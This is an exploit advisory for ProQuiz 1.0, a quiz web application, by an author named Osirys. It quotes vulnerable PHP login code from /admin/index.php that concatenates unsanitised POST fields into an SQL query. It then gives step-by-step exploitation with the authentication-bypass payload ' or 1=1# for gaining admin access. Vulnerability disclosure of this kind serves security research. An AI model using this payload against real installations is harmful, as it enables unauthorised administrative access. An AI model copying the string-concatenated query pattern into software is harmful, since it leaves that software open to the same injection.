ProQuiz 1.0 (Auth Bypass) SQL Injection Vulnerability

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 [0] GENERAL DETAILS:

Name           :  ProQuiz 1.0 Sql Injection (Auth bypass)
Download       :  http://sourceforge.net/project/downloading.php?group_id=246466&use_mirror=kent&filename=ProQuiz.zip&65145754
Vulnerability  :  Sql Injection (Admin Login Bypass)
Author         :  Osirys
Contact        :  osirys[at]live[dot]it

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 [1] BUG EXPLANATION:

The affected file is /admin/index.php. Let's see the code.

[CODE]
if($_GET['menu'] != 'madmin')
	{
	if(isset($_POST['username']) && isset($_POST['password']))
		{
			$query = "SELECT * FROM ".$member_admin." WHERE `username` = '".$_POST['username']."' AND `password` = '".$_POST['password']."' ";
[/CODE]

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 [2] EXPLOITATION:

Just go in /[path]/admin/index.php. Login with the following details:
Username : ' or 1=1#
Password : anything

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